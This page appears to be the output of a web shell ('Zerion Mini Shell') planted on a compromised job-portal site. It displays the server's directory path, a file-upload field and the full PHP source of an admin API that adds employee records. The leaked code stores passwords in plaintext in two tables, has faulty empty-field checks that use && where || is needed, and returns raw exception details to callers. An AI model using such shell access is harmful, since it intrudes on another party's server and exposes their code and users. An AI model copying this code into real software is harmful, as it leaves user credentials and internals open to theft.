ok

Mini Shell

Direktori : /home2/selectio/public_html/y1jobportal.in/admin/api/
Upload File :
Current File : /home2/selectio/public_html/y1jobportal.in/admin/api/add_employee_details.php

<?php
include_once('config/config.php');
include_once('config/custom-functions.php');
include 'config/send-sms.php';
$fn = new custom_functions();

try{    
  
    if (!isset($_POST['client_first_name']) && empty(trim($_POST['client_first_name']))) {
        $response['error'] = true;
        $response['message'] = "First name can't be empty!";
        print_r(json_encode($response));
        return false;
        exit();
    }else if (!isset($_POST['client_last_name']) && empty(trim($_POST['client_last_name']))){
        $response['error'] = true;
        $response['message'] = "Last name can't be empty!";
        print_r(json_encode($response));
        return false;
        exit();
    }
    else if (!isset($_POST['client_mobile_no']) && empty(trim($_POST['client_mobile_no']))){
        $response['error'] = true;
        $response['message'] = "mobile no can't be empty!";
        print_r(json_encode($response));
        return false;
        exit();
    }
    else if (!isset($_POST['password']) && empty(trim($_POST['password']))){
        $response['error'] = true;
        $response['message'] = "Password can't be empty!";
        print_r(json_encode($response));
        return false;
        exit();
    }
    
    else if (!isset($_POST['client_address1']) && empty(trim($_POST['client_address1']))){
        $response['error'] = true;
        $response['message'] = "Client address1 can't be empty!";
        print_r(json_encode($response));
        return false;
        exit();
    }
    else if (!isset($_POST['district_id']) && empty(trim($_POST['district_id']))){
        $response['error'] = true;
        $response['message'] = "District can't be empty!";
        print_r(json_encode($response));
        return false;
        exit();
    }
    else if (!isset($_POST['state_id']) && empty(trim($_POST['state_id']))){
        $response['error'] = true;
        $response['message'] = "State can't be empty!";
        print_r(json_encode($response));
        return false;
        exit();
    }
    
    else if (!isset($_POST['al_city']) && empty(trim($_POST['al_city']))){
        $response['error'] = true;
        $response['message'] = "Allocated city can't be empty!";
        print_r(json_encode($response));
        return false;
        exit();
    }
    

    //     $districts = $_POST['districts'];


    $fname  = (isset($_POST['client_first_name'])) ? $fn->xss_clean($_POST['client_first_name']) : "";
    $lname  = (isset($_POST['client_last_name'])) ? $fn->xss_clean($_POST['client_last_name']) : "";
    $mobile  = (isset($_POST['client_mobile_no'])) ? $fn->xss_clean($_POST['client_mobile_no']) : "";
    $email  = (isset($_POST['client_email'])) ? $fn->xss_clean($_POST['client_email']) : "";
    $pasword  = (isset($_POST['password'])) ? $fn->xss_clean($_POST['password']) : "";
    $address1  = (isset($_POST['client_address1'])) ? $fn->xss_clean($_POST['client_address1']) : "";
    $city  = (isset($_POST['district_id'])) ? $fn->xss_clean($_POST['district_id']) : "";
    $state  = (isset($_POST['state_id'])) ? $fn->xss_clean($_POST['state_id']) : "";
    $type  = (isset($_POST['type'])) ? $fn->xss_clean($_POST['type']) : "";
    $al_city = $_POST['al_city'];
    $al_cities = implode(",", $al_city);
    error_log("stephen array".$al_city);
    
    $uuid=$fn->gen_uuid();

      // here district stored in city column
      
        $statement = $pdo->prepare("INSERT INTO `employee`(`al_city`,`first_name`, `last_name`, `mobile_no`, `email`, `password`, `address`,`status`,`type`,`city`,`state`) VALUES (?,?,?,?,?,?,?,?,?,?,?)");
    	$result = $statement->execute(array($al_cities,$fname,$lname,$mobile,$email,$pasword,$address1,1,$type,$city,$state));
        

        $statement2 = $pdo->prepare("INSERT INTO `users`(`firstname`, `lastname`, `mobile`, `email`, `password`, `address_line1`,`status`,`role_json`,`city`,`state`) VALUES (?,?,?,?,?,?,?,?,?,?)");
    	$result2 = $statement2->execute(array($fname,$lname,$mobile,$email,$pasword,$address1,1,2,$city,$state));
        
    	
    	if($result){
		    $response['error']=false;
		    $response['message']="Employee details added successfuly";
		}else{
		    $response['error']=true;
		    $response['message']='failed';
		}
}catch(Exception $e){
    $response['error']=true;
    $response['message']='something went wrong :'.$e;
    error_log($e);
}   
echo json_encode($response);


?>

Zerion Mini Shell 1.0